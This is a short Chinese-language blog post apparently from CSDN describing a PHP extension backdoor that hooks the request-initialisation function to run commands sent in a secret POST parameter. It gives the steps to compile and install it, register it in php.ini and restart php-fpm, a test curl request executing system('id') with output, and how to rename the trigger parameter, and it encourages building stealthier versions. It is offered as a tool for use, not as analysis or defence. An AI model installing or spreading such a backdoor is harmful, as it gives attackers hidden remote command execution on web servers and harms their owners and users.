版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/Gekkoou/article/details/84109274
环境 Ubuntu 16.04, PHP 5.6
php扩展后门小实验
git: https://github.com/Gekkoou/php-extension-backdoor
利用了 PHP SAPI
的生命周期, 当有请求的时候, 调用一次所有模块的请求初始化函数(PHP_RINIT_FUNCTION
), 然后执行POST过来指定参数的命令. 当然这只是简单的用法, 复杂的隐匿性高的可以去深入研究一下.
编译安装
# phpize && ./configure && make && sudo make install
修改配置文件 php.ini
, 增加 extension=backdoor.so
重启PHP服务 srevice php-fpm restart
测试
# curl http://localhost/index.php --data "execute=system('id');"
uid=1002(www) gid=1002(www) groups=1002(www)
自定义POST参数
修改文件 backdoor.c
char* secret_string = "execute";
# char* secret_string = "POST参数";